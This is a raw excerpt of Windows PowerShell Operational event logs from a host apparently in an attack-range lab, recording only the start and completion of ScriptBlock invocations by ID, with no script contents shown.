Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026423
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026409
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026407
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026406
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026391
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026390
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026389
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026388
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026387
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
